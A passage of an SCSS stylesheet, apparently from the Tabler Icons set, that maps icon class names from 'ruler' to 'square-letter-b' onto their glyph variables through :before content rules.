$ti-icon-ruler-2-off;\n}\n\n.#{$ti-prefix}-ruler-3:before {\n  content: $ti-icon-ruler-3;\n}\n\n.#{$ti-prefix}-ruler-measure:before {\n  content: $ti-icon-ruler-measure;\n}\n\n.#{$ti-prefix}-ruler-off:before {\n  content: $ti-icon-ruler-off;\n}\n\n.#{$ti-prefix}-run:before {\n  content: $ti-icon-run;\n}\n\n.#{$ti-prefix}-rv-truck:before {\n  content: $ti-icon-rv-truck;\n}\n\n.#{$ti-prefix}-s-turn-down:before {\n  content: $ti-icon-s-turn-down;\n}\n\n.#{$ti-prefix}-s-turn-left:before {\n  content: $ti-icon-s-turn-left;\n}\n\n.#{$ti-prefix}-s-turn-right:before {\n  content: $ti-icon-s-turn-right;\n}\n\n.#{$ti-prefix}-s-turn-up:before {\n  content: $ti-icon-s-turn-up;\n}\n\n.#{$ti-prefix}-sailboat:before {\n  content: $ti-icon-sailboat;\n}\n\n.#{$ti-prefix}-sailboat-2:before {\n  content: $ti-icon-sailboat-2;\n}\n\n.#{$ti-prefix}-sailboat-off:before {\n  content: $ti-icon-sailboat-off;\n}\n\n.#{$ti-prefix}-salad:before {\n  content: $ti-icon-salad;\n}\n\n.#{$ti-prefix}-salt:before {\n  content: $ti-icon-salt;\n}\n\n.#{$ti-prefix}-sandbox:before {\n  content: $ti-icon-sandbox;\n}\n\n.#{$ti-prefix}-satellite:before {\n  content: $ti-icon-satellite;\n}\n\n.#{$ti-prefix}-satellite-off:before {\n  content: $ti-icon-satellite-off;\n}\n\n.#{$ti-prefix}-sausage:before {\n  content: $ti-icon-sausage;\n}\n\n.#{$ti-prefix}-scale:before {\n  content: $ti-icon-scale;\n}\n\n.#{$ti-prefix}-scale-off:before {\n  content: $ti-icon-scale-off;\n}\n\n.#{$ti-prefix}-scale-outline:before {\n  content: $ti-icon-scale-outline;\n}\n\n.#{$ti-prefix}-scale-outline-off:before {\n  content: $ti-icon-scale-outline-off;\n}\n\n.#{$ti-prefix}-scan:before {\n  content: $ti-icon-scan;\n}\n\n.#{$ti-prefix}-scan-eye:before {\n  content: $ti-icon-scan-eye;\n}\n\n.#{$ti-prefix}-scan-position:before {\n  content: $ti-icon-scan-position;\n}\n\n.#{$ti-prefix}-schema:before {\n  content: $ti-icon-schema;\n}\n\n.#{$ti-prefix}-schema-off:before {\n  content: $ti-icon-schema-off;\n}\n\n.#{$ti-prefix}-school:before {\n  content: $ti-icon-school;\n}\n\n.#{$ti-prefix}-school-bell:before {\n  content: $ti-icon-school-bell;\n}\n\n.#{$ti-prefix}-school-off:before {\n  content: $ti-icon-school-off;\n}\n\n.#{$ti-prefix}-scissors:before {\n  content: $ti-icon-scissors;\n}\n\n.#{$ti-prefix}-scissors-off:before {\n  content: $ti-icon-scissors-off;\n}\n\n.#{$ti-prefix}-scooter:before {\n  content: $ti-icon-scooter;\n}\n\n.#{$ti-prefix}-scooter-electric:before {\n  content: $ti-icon-scooter-electric;\n}\n\n.#{$ti-prefix}-scoreboard:before {\n  content: $ti-icon-scoreboard;\n}\n\n.#{$ti-prefix}-screen-share:before {\n  content: $ti-icon-screen-share;\n}\n\n.#{$ti-prefix}-screen-share-off:before {\n  content: $ti-icon-screen-share-off;\n}\n\n.#{$ti-prefix}-screenshot:before {\n  content: $ti-icon-screenshot;\n}\n\n.#{$ti-prefix}-scribble:before {\n  content: $ti-icon-scribble;\n}\n\n.#{$ti-prefix}-scribble-off:before {\n  content: $ti-icon-scribble-off;\n}\n\n.#{$ti-prefix}-script:before {\n  content: $ti-icon-script;\n}\n\n.#{$ti-prefix}-script-minus:before {\n  content: $ti-icon-script-minus;\n}\n\n.#{$ti-prefix}-script-plus:before {\n  content: $ti-icon-script-plus;\n}\n\n.#{$ti-prefix}-script-x:before {\n  content: $ti-icon-script-x;\n}\n\n.#{$ti-prefix}-scuba-diving:before {\n  content: $ti-icon-scuba-diving;\n}\n\n.#{$ti-prefix}-scuba-mask:before {\n  content: $ti-icon-scuba-mask;\n}\n\n.#{$ti-prefix}-scuba-mask-off:before {\n  content: $ti-icon-scuba-mask-off;\n}\n\n.#{$ti-prefix}-sdk:before {\n  content: $ti-icon-sdk;\n}\n\n.#{$ti-prefix}-search:before {\n  content: $ti-icon-search;\n}\n\n.#{$ti-prefix}-search-off:before {\n  content: $ti-icon-search-off;\n}\n\n.#{$ti-prefix}-section:before {\n  content: $ti-icon-section;\n}\n\n.#{$ti-prefix}-section-filled:before {\n  content: $ti-icon-section-filled;\n}\n\n.#{$ti-prefix}-section-sign:before {\n  content: $ti-icon-section-sign;\n}\n\n.#{$ti-prefix}-seeding:before {\n  content: $ti-icon-seeding;\n}\n\n.#{$ti-prefix}-seeding-off:before {\n  content: $ti-icon-seeding-off;\n}\n\n.#{$ti-prefix}-select:before {\n  content: $ti-icon-select;\n}\n\n.#{$ti-prefix}-select-all:before {\n  content: $ti-icon-select-all;\n}\n\n.#{$ti-prefix}-selector:before {\n  content: $ti-icon-selector;\n}\n\n.#{$ti-prefix}-send:before {\n  content: $ti-icon-send;\n}\n\n.#{$ti-prefix}-send-2:before {\n  content: $ti-icon-send-2;\n}\n\n.#{$ti-prefix}-send-off:before {\n  content: $ti-icon-send-off;\n}\n\n.#{$ti-prefix}-seo:before {\n  content: $ti-icon-seo;\n}\n\n.#{$ti-prefix}-separator:before {\n  content: $ti-icon-separator;\n}\n\n.#{$ti-prefix}-separator-horizontal:before {\n  content: $ti-icon-separator-horizontal;\n}\n\n.#{$ti-prefix}-separator-vertical:before {\n  content: $ti-icon-separator-vertical;\n}\n\n.#{$ti-prefix}-server:before {\n  content: $ti-icon-server;\n}\n\n.#{$ti-prefix}-server-2:before {\n  content: $ti-icon-server-2;\n}\n\n.#{$ti-prefix}-server-bolt:before {\n  content: $ti-icon-server-bolt;\n}\n\n.#{$ti-prefix}-server-cog:before {\n  content: $ti-icon-server-cog;\n}\n\n.#{$ti-prefix}-server-off:before {\n  content: $ti-icon-server-off;\n}\n\n.#{$ti-prefix}-servicemark:before {\n  content: $ti-icon-servicemark;\n}\n\n.#{$ti-prefix}-settings:before {\n  content: $ti-icon-settings;\n}\n\n.#{$ti-prefix}-settings-2:before {\n  content: $ti-icon-settings-2;\n}\n\n.#{$ti-prefix}-settings-automation:before {\n  content: $ti-icon-settings-automation;\n}\n\n.#{$ti-prefix}-settings-bolt:before {\n  content: $ti-icon-settings-bolt;\n}\n\n.#{$ti-prefix}-settings-cancel:before {\n  content: $ti-icon-settings-cancel;\n}\n\n.#{$ti-prefix}-settings-check:before {\n  content: $ti-icon-settings-check;\n}\n\n.#{$ti-prefix}-settings-code:before {\n  content: $ti-icon-settings-code;\n}\n\n.#{$ti-prefix}-settings-cog:before {\n  content: $ti-icon-settings-cog;\n}\n\n.#{$ti-prefix}-settings-dollar:before {\n  content: $ti-icon-settings-dollar;\n}\n\n.#{$ti-prefix}-settings-down:before {\n  content: $ti-icon-settings-down;\n}\n\n.#{$ti-prefix}-settings-exclamation:before {\n  content: $ti-icon-settings-exclamation;\n}\n\n.#{$ti-prefix}-settings-filled:before {\n  content: $ti-icon-settings-filled;\n}\n\n.#{$ti-prefix}-settings-heart:before {\n  content: $ti-icon-settings-heart;\n}\n\n.#{$ti-prefix}-settings-minus:before {\n  content: $ti-icon-settings-minus;\n}\n\n.#{$ti-prefix}-settings-off:before {\n  content: $ti-icon-settings-off;\n}\n\n.#{$ti-prefix}-settings-pause:before {\n  content: $ti-icon-settings-pause;\n}\n\n.#{$ti-prefix}-settings-pin:before {\n  content: $ti-icon-settings-pin;\n}\n\n.#{$ti-prefix}-settings-plus:before {\n  content: $ti-icon-settings-plus;\n}\n\n.#{$ti-prefix}-settings-question:before {\n  content: $ti-icon-settings-question;\n}\n\n.#{$ti-prefix}-settings-search:before {\n  content: $ti-icon-settings-search;\n}\n\n.#{$ti-prefix}-settings-share:before {\n  content: $ti-icon-settings-share;\n}\n\n.#{$ti-prefix}-settings-star:before {\n  content: $ti-icon-settings-star;\n}\n\n.#{$ti-prefix}-settings-up:before {\n  content: $ti-icon-settings-up;\n}\n\n.#{$ti-prefix}-settings-x:before {\n  content: $ti-icon-settings-x;\n}\n\n.#{$ti-prefix}-shadow:before {\n  content: $ti-icon-shadow;\n}\n\n.#{$ti-prefix}-shadow-off:before {\n  content: $ti-icon-shadow-off;\n}\n\n.#{$ti-prefix}-shape:before {\n  content: $ti-icon-shape;\n}\n\n.#{$ti-prefix}-shape-2:before {\n  content: $ti-icon-shape-2;\n}\n\n.#{$ti-prefix}-shape-3:before {\n  content: $ti-icon-shape-3;\n}\n\n.#{$ti-prefix}-shape-off:before {\n  content: $ti-icon-shape-off;\n}\n\n.#{$ti-prefix}-share:before {\n  content: $ti-icon-share;\n}\n\n.#{$ti-prefix}-share-2:before {\n  content: $ti-icon-share-2;\n}\n\n.#{$ti-prefix}-share-3:before {\n  content: $ti-icon-share-3;\n}\n\n.#{$ti-prefix}-share-off:before {\n  content: $ti-icon-share-off;\n}\n\n.#{$ti-prefix}-shield:before {\n  content: $ti-icon-shield;\n}\n\n.#{$ti-prefix}-shield-bolt:before {\n  content: $ti-icon-shield-bolt;\n}\n\n.#{$ti-prefix}-shield-cancel:before {\n  content: $ti-icon-shield-cancel;\n}\n\n.#{$ti-prefix}-shield-check:before {\n  content: $ti-icon-shield-check;\n}\n\n.#{$ti-prefix}-shield-check-filled:before {\n  content: $ti-icon-shield-check-filled;\n}\n\n.#{$ti-prefix}-shield-checkered:before {\n  content: $ti-icon-shield-checkered;\n}\n\n.#{$ti-prefix}-shield-checkered-filled:before {\n  content: $ti-icon-shield-checkered-filled;\n}\n\n.#{$ti-prefix}-shield-chevron:before {\n  content: $ti-icon-shield-chevron;\n}\n\n.#{$ti-prefix}-shield-code:before {\n  content: $ti-icon-shield-code;\n}\n\n.#{$ti-prefix}-shield-cog:before {\n  content: $ti-icon-shield-cog;\n}\n\n.#{$ti-prefix}-shield-dollar:before {\n  content: $ti-icon-shield-dollar;\n}\n\n.#{$ti-prefix}-shield-down:before {\n  content: $ti-icon-shield-down;\n}\n\n.#{$ti-prefix}-shield-exclamation:before {\n  content: $ti-icon-shield-exclamation;\n}\n\n.#{$ti-prefix}-shield-filled:before {\n  content: $ti-icon-shield-filled;\n}\n\n.#{$ti-prefix}-shield-half:before {\n  content: $ti-icon-shield-half;\n}\n\n.#{$ti-prefix}-shield-half-filled:before {\n  content: $ti-icon-shield-half-filled;\n}\n\n.#{$ti-prefix}-shield-heart:before {\n  content: $ti-icon-shield-heart;\n}\n\n.#{$ti-prefix}-shield-lock:before {\n  content: $ti-icon-shield-lock;\n}\n\n.#{$ti-prefix}-shield-lock-filled:before {\n  content: $ti-icon-shield-lock-filled;\n}\n\n.#{$ti-prefix}-shield-minus:before {\n  content: $ti-icon-shield-minus;\n}\n\n.#{$ti-prefix}-shield-off:before {\n  content: $ti-icon-shield-off;\n}\n\n.#{$ti-prefix}-shield-pause:before {\n  content: $ti-icon-shield-pause;\n}\n\n.#{$ti-prefix}-shield-pin:before {\n  content: $ti-icon-shield-pin;\n}\n\n.#{$ti-prefix}-shield-plus:before {\n  content: $ti-icon-shield-plus;\n}\n\n.#{$ti-prefix}-shield-question:before {\n  content: $ti-icon-shield-question;\n}\n\n.#{$ti-prefix}-shield-search:before {\n  content: $ti-icon-shield-search;\n}\n\n.#{$ti-prefix}-shield-share:before {\n  content: $ti-icon-shield-share;\n}\n\n.#{$ti-prefix}-shield-star:before {\n  content: $ti-icon-shield-star;\n}\n\n.#{$ti-prefix}-shield-up:before {\n  content: $ti-icon-shield-up;\n}\n\n.#{$ti-prefix}-shield-x:before {\n  content: $ti-icon-shield-x;\n}\n\n.#{$ti-prefix}-ship:before {\n  content: $ti-icon-ship;\n}\n\n.#{$ti-prefix}-ship-off:before {\n  content: $ti-icon-ship-off;\n}\n\n.#{$ti-prefix}-shirt:before {\n  content: $ti-icon-shirt;\n}\n\n.#{$ti-prefix}-shirt-filled:before {\n  content: $ti-icon-shirt-filled;\n}\n\n.#{$ti-prefix}-shirt-off:before {\n  content: $ti-icon-shirt-off;\n}\n\n.#{$ti-prefix}-shirt-sport:before {\n  content: $ti-icon-shirt-sport;\n}\n\n.#{$ti-prefix}-shoe:before {\n  content: $ti-icon-shoe;\n}\n\n.#{$ti-prefix}-shoe-off:before {\n  content: $ti-icon-shoe-off;\n}\n\n.#{$ti-prefix}-shopping-bag:before {\n  content: $ti-icon-shopping-bag;\n}\n\n.#{$ti-prefix}-shopping-bag-check:before {\n  content: $ti-icon-shopping-bag-check;\n}\n\n.#{$ti-prefix}-shopping-bag-discount:before {\n  content: $ti-icon-shopping-bag-discount;\n}\n\n.#{$ti-prefix}-shopping-bag-edit:before {\n  content: $ti-icon-shopping-bag-edit;\n}\n\n.#{$ti-prefix}-shopping-bag-exclamation:before {\n  content: $ti-icon-shopping-bag-exclamation;\n}\n\n.#{$ti-prefix}-shopping-bag-heart:before {\n  content: $ti-icon-shopping-bag-heart;\n}\n\n.#{$ti-prefix}-shopping-bag-minus:before {\n  content: $ti-icon-shopping-bag-minus;\n}\n\n.#{$ti-prefix}-shopping-bag-plus:before {\n  content: $ti-icon-shopping-bag-plus;\n}\n\n.#{$ti-prefix}-shopping-bag-search:before {\n  content: $ti-icon-shopping-bag-search;\n}\n\n.#{$ti-prefix}-shopping-bag-x:before {\n  content: $ti-icon-shopping-bag-x;\n}\n\n.#{$ti-prefix}-shopping-cart:before {\n  content: $ti-icon-shopping-cart;\n}\n\n.#{$ti-prefix}-shopping-cart-bolt:before {\n  content: $ti-icon-shopping-cart-bolt;\n}\n\n.#{$ti-prefix}-shopping-cart-cancel:before {\n  content: $ti-icon-shopping-cart-cancel;\n}\n\n.#{$ti-prefix}-shopping-cart-check:before {\n  content: $ti-icon-shopping-cart-check;\n}\n\n.#{$ti-prefix}-shopping-cart-code:before {\n  content: $ti-icon-shopping-cart-code;\n}\n\n.#{$ti-prefix}-shopping-cart-cog:before {\n  content: $ti-icon-shopping-cart-cog;\n}\n\n.#{$ti-prefix}-shopping-cart-copy:before {\n  content: $ti-icon-shopping-cart-copy;\n}\n\n.#{$ti-prefix}-shopping-cart-discount:before {\n  content: $ti-icon-shopping-cart-discount;\n}\n\n.#{$ti-prefix}-shopping-cart-dollar:before {\n  content: $ti-icon-shopping-cart-dollar;\n}\n\n.#{$ti-prefix}-shopping-cart-down:before {\n  content: $ti-icon-shopping-cart-down;\n}\n\n.#{$ti-prefix}-shopping-cart-exclamation:before {\n  content: $ti-icon-shopping-cart-exclamation;\n}\n\n.#{$ti-prefix}-shopping-cart-filled:before {\n  content: $ti-icon-shopping-cart-filled;\n}\n\n.#{$ti-prefix}-shopping-cart-heart:before {\n  content: $ti-icon-shopping-cart-heart;\n}\n\n.#{$ti-prefix}-shopping-cart-minus:before {\n  content: $ti-icon-shopping-cart-minus;\n}\n\n.#{$ti-prefix}-shopping-cart-off:before {\n  content: $ti-icon-shopping-cart-off;\n}\n\n.#{$ti-prefix}-shopping-cart-pause:before {\n  content: $ti-icon-shopping-cart-pause;\n}\n\n.#{$ti-prefix}-shopping-cart-pin:before {\n  content: $ti-icon-shopping-cart-pin;\n}\n\n.#{$ti-prefix}-shopping-cart-plus:before {\n  content: $ti-icon-shopping-cart-plus;\n}\n\n.#{$ti-prefix}-shopping-cart-question:before {\n  content: $ti-icon-shopping-cart-question;\n}\n\n.#{$ti-prefix}-shopping-cart-search:before {\n  content: $ti-icon-shopping-cart-search;\n}\n\n.#{$ti-prefix}-shopping-cart-share:before {\n  content: $ti-icon-shopping-cart-share;\n}\n\n.#{$ti-prefix}-shopping-cart-star:before {\n  content: $ti-icon-shopping-cart-star;\n}\n\n.#{$ti-prefix}-shopping-cart-up:before {\n  content: $ti-icon-shopping-cart-up;\n}\n\n.#{$ti-prefix}-shopping-cart-x:before {\n  content: $ti-icon-shopping-cart-x;\n}\n\n.#{$ti-prefix}-shovel:before {\n  content: $ti-icon-shovel;\n}\n\n.#{$ti-prefix}-shovel-pitchforks:before {\n  content: $ti-icon-shovel-pitchforks;\n}\n\n.#{$ti-prefix}-shredder:before {\n  content: $ti-icon-shredder;\n}\n\n.#{$ti-prefix}-sign-left:before {\n  content: $ti-icon-sign-left;\n}\n\n.#{$ti-prefix}-sign-left-filled:before {\n  content: $ti-icon-sign-left-filled;\n}\n\n.#{$ti-prefix}-sign-right:before {\n  content: $ti-icon-sign-right;\n}\n\n.#{$ti-prefix}-sign-right-filled:before {\n  content: $ti-icon-sign-right-filled;\n}\n\n.#{$ti-prefix}-signal-2g:before {\n  content: $ti-icon-signal-2g;\n}\n\n.#{$ti-prefix}-signal-3g:before {\n  content: $ti-icon-signal-3g;\n}\n\n.#{$ti-prefix}-signal-4g:before {\n  content: $ti-icon-signal-4g;\n}\n\n.#{$ti-prefix}-signal-4g-plus:before {\n  content: $ti-icon-signal-4g-plus;\n}\n\n.#{$ti-prefix}-signal-5g:before {\n  content: $ti-icon-signal-5g;\n}\n\n.#{$ti-prefix}-signal-6g:before {\n  content: $ti-icon-signal-6g;\n}\n\n.#{$ti-prefix}-signal-e:before {\n  content: $ti-icon-signal-e;\n}\n\n.#{$ti-prefix}-signal-g:before {\n  content: $ti-icon-signal-g;\n}\n\n.#{$ti-prefix}-signal-h:before {\n  content: $ti-icon-signal-h;\n}\n\n.#{$ti-prefix}-signal-h-plus:before {\n  content: $ti-icon-signal-h-plus;\n}\n\n.#{$ti-prefix}-signal-lte:before {\n  content: $ti-icon-signal-lte;\n}\n\n.#{$ti-prefix}-signature:before {\n  content: $ti-icon-signature;\n}\n\n.#{$ti-prefix}-signature-off:before {\n  content: $ti-icon-signature-off;\n}\n\n.#{$ti-prefix}-sitemap:before {\n  content: $ti-icon-sitemap;\n}\n\n.#{$ti-prefix}-sitemap-off:before {\n  content: $ti-icon-sitemap-off;\n}\n\n.#{$ti-prefix}-skateboard:before {\n  content: $ti-icon-skateboard;\n}\n\n.#{$ti-prefix}-skateboard-off:before {\n  content: $ti-icon-skateboard-off;\n}\n\n.#{$ti-prefix}-skateboarding:before {\n  content: $ti-icon-skateboarding;\n}\n\n.#{$ti-prefix}-skew-x:before {\n  content: $ti-icon-skew-x;\n}\n\n.#{$ti-prefix}-skew-y:before {\n  content: $ti-icon-skew-y;\n}\n\n.#{$ti-prefix}-ski-jumping:before {\n  content: $ti-icon-ski-jumping;\n}\n\n.#{$ti-prefix}-skull:before {\n  content: $ti-icon-skull;\n}\n\n.#{$ti-prefix}-slash:before {\n  content: $ti-icon-slash;\n}\n\n.#{$ti-prefix}-slashes:before {\n  content: $ti-icon-slashes;\n}\n\n.#{$ti-prefix}-sleigh:before {\n  content: $ti-icon-sleigh;\n}\n\n.#{$ti-prefix}-slice:before {\n  content: $ti-icon-slice;\n}\n\n.#{$ti-prefix}-slideshow:before {\n  content: $ti-icon-slideshow;\n}\n\n.#{$ti-prefix}-smart-home:before {\n  content: $ti-icon-smart-home;\n}\n\n.#{$ti-prefix}-smart-home-off:before {\n  content: $ti-icon-smart-home-off;\n}\n\n.#{$ti-prefix}-smoking:before {\n  content: $ti-icon-smoking;\n}\n\n.#{$ti-prefix}-smoking-no:before {\n  content: $ti-icon-smoking-no;\n}\n\n.#{$ti-prefix}-snowboarding:before {\n  content: $ti-icon-snowboarding;\n}\n\n.#{$ti-prefix}-snowflake:before {\n  content: $ti-icon-snowflake;\n}\n\n.#{$ti-prefix}-snowflake-off:before {\n  content: $ti-icon-snowflake-off;\n}\n\n.#{$ti-prefix}-snowman:before {\n  content: $ti-icon-snowman;\n}\n\n.#{$ti-prefix}-soccer-field:before {\n  content: $ti-icon-soccer-field;\n}\n\n.#{$ti-prefix}-social:before {\n  content: $ti-icon-social;\n}\n\n.#{$ti-prefix}-social-off:before {\n  content: $ti-icon-social-off;\n}\n\n.#{$ti-prefix}-sock:before {\n  content: $ti-icon-sock;\n}\n\n.#{$ti-prefix}-sofa:before {\n  content: $ti-icon-sofa;\n}\n\n.#{$ti-prefix}-sofa-off:before {\n  content: $ti-icon-sofa-off;\n}\n\n.#{$ti-prefix}-solar-electricity:before {\n  content: $ti-icon-solar-electricity;\n}\n\n.#{$ti-prefix}-solar-panel:before {\n  content: $ti-icon-solar-panel;\n}\n\n.#{$ti-prefix}-solar-panel-2:before {\n  content: $ti-icon-solar-panel-2;\n}\n\n.#{$ti-prefix}-sort-0-9:before {\n  content: $ti-icon-sort-0-9;\n}\n\n.#{$ti-prefix}-sort-9-0:before {\n  content: $ti-icon-sort-9-0;\n}\n\n.#{$ti-prefix}-sort-a-z:before {\n  content: $ti-icon-sort-a-z;\n}\n\n.#{$ti-prefix}-sort-ascending:before {\n  content: $ti-icon-sort-ascending;\n}\n\n.#{$ti-prefix}-sort-ascending-2:before {\n  content: $ti-icon-sort-ascending-2;\n}\n\n.#{$ti-prefix}-sort-ascending-letters:before {\n  content: $ti-icon-sort-ascending-letters;\n}\n\n.#{$ti-prefix}-sort-ascending-numbers:before {\n  content: $ti-icon-sort-ascending-numbers;\n}\n\n.#{$ti-prefix}-sort-ascending-shapes:before {\n  content: $ti-icon-sort-ascending-shapes;\n}\n\n.#{$ti-prefix}-sort-ascending-small-big:before {\n  content: $ti-icon-sort-ascending-small-big;\n}\n\n.#{$ti-prefix}-sort-descending:before {\n  content: $ti-icon-sort-descending;\n}\n\n.#{$ti-prefix}-sort-descending-2:before {\n  content: $ti-icon-sort-descending-2;\n}\n\n.#{$ti-prefix}-sort-descending-letters:before {\n  content: $ti-icon-sort-descending-letters;\n}\n\n.#{$ti-prefix}-sort-descending-numbers:before {\n  content: $ti-icon-sort-descending-numbers;\n}\n\n.#{$ti-prefix}-sort-descending-shapes:before {\n  content: $ti-icon-sort-descending-shapes;\n}\n\n.#{$ti-prefix}-sort-descending-small-big:before {\n  content: $ti-icon-sort-descending-small-big;\n}\n\n.#{$ti-prefix}-sort-z-a:before {\n  content: $ti-icon-sort-z-a;\n}\n\n.#{$ti-prefix}-sos:before {\n  content: $ti-icon-sos;\n}\n\n.#{$ti-prefix}-soup:before {\n  content: $ti-icon-soup;\n}\n\n.#{$ti-prefix}-soup-filled:before {\n  content: $ti-icon-soup-filled;\n}\n\n.#{$ti-prefix}-soup-off:before {\n  content: $ti-icon-soup-off;\n}\n\n.#{$ti-prefix}-source-code:before {\n  content: $ti-icon-source-code;\n}\n\n.#{$ti-prefix}-space:before {\n  content: $ti-icon-space;\n}\n\n.#{$ti-prefix}-space-off:before {\n  content: $ti-icon-space-off;\n}\n\n.#{$ti-prefix}-spacing-horizontal:before {\n  content: $ti-icon-spacing-horizontal;\n}\n\n.#{$ti-prefix}-spacing-vertical:before {\n  content: $ti-icon-spacing-vertical;\n}\n\n.#{$ti-prefix}-spade:before {\n  content: $ti-icon-spade;\n}\n\n.#{$ti-prefix}-spade-filled:before {\n  content: $ti-icon-spade-filled;\n}\n\n.#{$ti-prefix}-sparkles:before {\n  content: $ti-icon-sparkles;\n}\n\n.#{$ti-prefix}-speakerphone:before {\n  content: $ti-icon-speakerphone;\n}\n\n.#{$ti-prefix}-speedboat:before {\n  content: $ti-icon-speedboat;\n}\n\n.#{$ti-prefix}-sphere:before {\n  content: $ti-icon-sphere;\n}\n\n.#{$ti-prefix}-sphere-off:before {\n  content: $ti-icon-sphere-off;\n}\n\n.#{$ti-prefix}-sphere-plus:before {\n  content: $ti-icon-sphere-plus;\n}\n\n.#{$ti-prefix}-spider:before {\n  content: $ti-icon-spider;\n}\n\n.#{$ti-prefix}-spiral:before {\n  content: $ti-icon-spiral;\n}\n\n.#{$ti-prefix}-spiral-off:before {\n  content: $ti-icon-spiral-off;\n}\n\n.#{$ti-prefix}-sport-billard:before {\n  content: $ti-icon-sport-billard;\n}\n\n.#{$ti-prefix}-spray:before {\n  content: $ti-icon-spray;\n}\n\n.#{$ti-prefix}-spy:before {\n  content: $ti-icon-spy;\n}\n\n.#{$ti-prefix}-spy-off:before {\n  content: $ti-icon-spy-off;\n}\n\n.#{$ti-prefix}-sql:before {\n  content: $ti-icon-sql;\n}\n\n.#{$ti-prefix}-square:before {\n  content: $ti-icon-square;\n}\n\n.#{$ti-prefix}-square-arrow-down:before {\n  content: $ti-icon-square-arrow-down;\n}\n\n.#{$ti-prefix}-square-arrow-down-filled:before {\n  content: $ti-icon-square-arrow-down-filled;\n}\n\n.#{$ti-prefix}-square-arrow-left:before {\n  content: $ti-icon-square-arrow-left;\n}\n\n.#{$ti-prefix}-square-arrow-left-filled:before {\n  content: $ti-icon-square-arrow-left-filled;\n}\n\n.#{$ti-prefix}-square-arrow-right:before {\n  content: $ti-icon-square-arrow-right;\n}\n\n.#{$ti-prefix}-square-arrow-right-filled:before {\n  content: $ti-icon-square-arrow-right-filled;\n}\n\n.#{$ti-prefix}-square-arrow-up:before {\n  content: $ti-icon-square-arrow-up;\n}\n\n.#{$ti-prefix}-square-arrow-up-filled:before {\n  content: $ti-icon-square-arrow-up-filled;\n}\n\n.#{$ti-prefix}-square-asterisk:before {\n  content: $ti-icon-square-asterisk;\n}\n\n.#{$ti-prefix}-square-asterisk-filled:before {\n  content: $ti-icon-square-asterisk-filled;\n}\n\n.#{$ti-prefix}-square-check:before {\n  content: $ti-icon-square-check;\n}\n\n.#{$ti-prefix}-square-check-filled:before {\n  content: $ti-icon-square-check-filled;\n}\n\n.#{$ti-prefix}-square-chevron-down:before {\n  content: $ti-icon-square-chevron-down;\n}\n\n.#{$ti-prefix}-square-chevron-down-filled:before {\n  content: $ti-icon-square-chevron-down-filled;\n}\n\n.#{$ti-prefix}-square-chevron-left:before {\n  content: $ti-icon-square-chevron-left;\n}\n\n.#{$ti-prefix}-square-chevron-left-filled:before {\n  content: $ti-icon-square-chevron-left-filled;\n}\n\n.#{$ti-prefix}-square-chevron-right:before {\n  content: $ti-icon-square-chevron-right;\n}\n\n.#{$ti-prefix}-square-chevron-right-filled:before {\n  content: $ti-icon-square-chevron-right-filled;\n}\n\n.#{$ti-prefix}-square-chevron-up:before {\n  content: $ti-icon-square-chevron-up;\n}\n\n.#{$ti-prefix}-square-chevron-up-filled:before {\n  content: $ti-icon-square-chevron-up-filled;\n}\n\n.#{$ti-prefix}-square-chevrons-down:before {\n  content: $ti-icon-square-chevrons-down;\n}\n\n.#{$ti-prefix}-square-chevrons-down-filled:before {\n  content: $ti-icon-square-chevrons-down-filled;\n}\n\n.#{$ti-prefix}-square-chevrons-left:before {\n  content: $ti-icon-square-chevrons-left;\n}\n\n.#{$ti-prefix}-square-chevrons-left-filled:before {\n  content: $ti-icon-square-chevrons-left-filled;\n}\n\n.#{$ti-prefix}-square-chevrons-right:before {\n  content: $ti-icon-square-chevrons-right;\n}\n\n.#{$ti-prefix}-square-chevrons-right-filled:before {\n  content: $ti-icon-square-chevrons-right-filled;\n}\n\n.#{$ti-prefix}-square-chevrons-up:before {\n  content: $ti-icon-square-chevrons-up;\n}\n\n.#{$ti-prefix}-square-chevrons-up-filled:before {\n  content: $ti-icon-square-chevrons-up-filled;\n}\n\n.#{$ti-prefix}-square-dot:before {\n  content: $ti-icon-square-dot;\n}\n\n.#{$ti-prefix}-square-dot-filled:before {\n  content: $ti-icon-square-dot-filled;\n}\n\n.#{$ti-prefix}-square-f0:before {\n  content: $ti-icon-square-f0;\n}\n\n.#{$ti-prefix}-square-f0-filled:before {\n  content: $ti-icon-square-f0-filled;\n}\n\n.#{$ti-prefix}-square-f1:before {\n  content: $ti-icon-square-f1;\n}\n\n.#{$ti-prefix}-square-f1-filled:before {\n  content: $ti-icon-square-f1-filled;\n}\n\n.#{$ti-prefix}-square-f2:before {\n  content: $ti-icon-square-f2;\n}\n\n.#{$ti-prefix}-square-f2-filled:before {\n  content: $ti-icon-square-f2-filled;\n}\n\n.#{$ti-prefix}-square-f3:before {\n  content: $ti-icon-square-f3;\n}\n\n.#{$ti-prefix}-square-f3-filled:before {\n  content: $ti-icon-square-f3-filled;\n}\n\n.#{$ti-prefix}-square-f4:before {\n  content: $ti-icon-square-f4;\n}\n\n.#{$ti-prefix}-square-f4-filled:before {\n  content: $ti-icon-square-f4-filled;\n}\n\n.#{$ti-prefix}-square-f5:before {\n  content: $ti-icon-square-f5;\n}\n\n.#{$ti-prefix}-square-f5-filled:before {\n  content: $ti-icon-square-f5-filled;\n}\n\n.#{$ti-prefix}-square-f6:before {\n  content: $ti-icon-square-f6;\n}\n\n.#{$ti-prefix}-square-f6-filled:before {\n  content: $ti-icon-square-f6-filled;\n}\n\n.#{$ti-prefix}-square-f7:before {\n  content: $ti-icon-square-f7;\n}\n\n.#{$ti-prefix}-square-f7-filled:before {\n  content: $ti-icon-square-f7-filled;\n}\n\n.#{$ti-prefix}-square-f8:before {\n  content: $ti-icon-square-f8;\n}\n\n.#{$ti-prefix}-square-f8-filled:before {\n  content: $ti-icon-square-f8-filled;\n}\n\n.#{$ti-prefix}-square-f9:before {\n  content: $ti-icon-square-f9;\n}\n\n.#{$ti-prefix}-square-f9-filled:before {\n  content: $ti-icon-square-f9-filled;\n}\n\n.#{$ti-prefix}-square-filled:before {\n  content: $ti-icon-square-filled;\n}\n\n.#{$ti-prefix}-square-forbid:before {\n  content: $ti-icon-square-forbid;\n}\n\n.#{$ti-prefix}-square-forbid-2:before {\n  content: $ti-icon-square-forbid-2;\n}\n\n.#{$ti-prefix}-square-half:before {\n  content: $ti-icon-square-half;\n}\n\n.#{$ti-prefix}-square-key:before {\n  content: $ti-icon-square-key;\n}\n\n.#{$ti-prefix}-square-letter-a:before {\n  content: $ti-icon-square-letter-a;\n}\n\n.#{$ti-prefix}-square-letter-a-filled:before {\n  content: $ti-icon-square-letter-a-filled;\n}\n\n.#{$ti-prefix}-square-letter-b:before {\n  content: 